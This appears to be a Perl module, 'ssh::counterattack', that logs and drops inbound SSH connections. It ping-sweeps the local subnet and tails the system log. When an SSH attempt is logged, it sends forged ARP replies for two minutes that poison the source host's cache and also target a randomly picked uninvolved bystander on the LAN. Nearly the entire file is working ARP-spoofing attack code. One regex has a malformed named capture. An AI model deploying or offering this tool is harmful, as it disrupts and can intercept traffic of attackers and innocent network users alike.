package ssh::counterattack; use 5.006; use strict; use warnings; use Getopt::Long; use File::Tail; use Net::ARP; use Net::Ping; use Net::Netmask; use autodie; use Exporter qw(import); our $VERSION = '0.01'; our @EXPORT_OK = qw/arp_lookup random_target monitor/; sub arp_lookup{ my ($net,$mask,$dev,$hash) = @_; print "$net\n$mask\n$dev\n"; my $block = new Net::Netmask($net,$mask); my @ips = $block->enumerate(); shift @ips; #get rid of first ip pop @ips;#get rid of last ip `/bin/echo 8 > /proc/sys/net/ipv4/conf/eth0/arp_ignore`; #stop myself from #truthfully answering arp requests for my $i (0 .. 1){#does it twice in case we miss someone foreach my $ip(@ips){ my $p = Net::Ping->new('icmp'); if($p->ping($ip,0.02)){ my $mac = Net::ARP::arp_lookup($dev,$ip); if($mac =~ /(unknown|00\.00\.00\.00\.00\.00)/||$ip eq $net){ next; } else{ $hash->{$ip} = $mac; print "$ip=>$hash->{$ip}\n"; } } } } `/bin/echo 0 > /proc/sys/net/ipv4/conf/eth0/arp_ignore`;#start answering #truthfully again } sub random_target{ my ($hash) = @_; print "hash = $hash\n"; my @keys = keys %$hash; print @keys; my $n = int(rand($#keys)); return ($hash->{$keys[$n]},$keys[$n]); } sub setup{ `/sbin/iptables -N log-and-drop; /sbin/iptables -A log-and-drop -j LOG --log-prefix 'ATTACK'; /sbin/iptables -A log-and-drop -j DROP; /sbin/iptables -A INPUT -p tcp --dport 22 -j log-and-drop;`; } sub poison{ my($foe,$foe_mac,$bystander,$bystander_ip,$device,$myip) = @_; print "poisoning now\ndevice=$device\nmyip=$myip\n foe=$foe\nbystander=$bystander\nfoe_mac=$foe_mac\n"; for my $i (0 .. 120){ sleep(1); print "gagging bystander\n"; Net::ARP::send_packet($device, $foe, $bystander_ip, 'aa:bb:cc:dd:ee:ff', $bystander, 'reply'); print "lying to foe!\n"; Net::ARP::send_packet($device, $myip, $foe, $bystander, $foe_mac, 'reply'); } exit(0); } sub monitor{ my ($file,$hash,$device,$myip) = @_; my $line; unless(defined($hash)){ die "too bad, no hash given!\n"; } print "opening $file for tailing\n"; my $handle = File::Tail->new($file); while(defined($line=$handle->read)){ if($line=~/\AATTACK/){ print "got an attack\n$line\n"; $line=~m#SRC=(?\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s#; my $foe = $+{ip}; print "foe is $foe\n"; my $pid = fork(); if(defined($pid)){ print "this is $pid\n"; my @bystander; while(!defined($bystander[0])||$bystander[0] eq $foe||$bystander[0] eq $myip){ @bystander = random_target($hash); } poison($foe,$hash->{$foe},$bystander[0],$bystander[1],$device,$myip) } else{ print "father here\n"; } } } } sub run{ setup(); my($file,$network,$device,$mask); $file = '/var/log/messages'; GetOptions("net=s"=>\$network, "device=s"=>\$device, "mask=s"=>\$mask) or die("not enough arguments, error on the cli\n"); if(!defined($network)||!defined($device)||!defined($mask)){ die("I need all my args!\n --net=10.0.0.5 --device=wlan0 --mask=255.255.255.0"); } my $hash = {}; arp_lookup($network,$mask,$device,$hash); #/var/log/messages print "monitoring $file\n"; monitor($file,$hash,$device,$network); } END{ print "cleaning iptables\n"; `/sbin/iptables -D log-and-drop -j LOG --log-prefix 'ATTACK'; /sbin/iptables -D log-and-drop -j DROP; /sbin/iptables -D INPUT -p tcp --dport 22 -j log-and-drop;`; print "goodbye!\n"; } 1;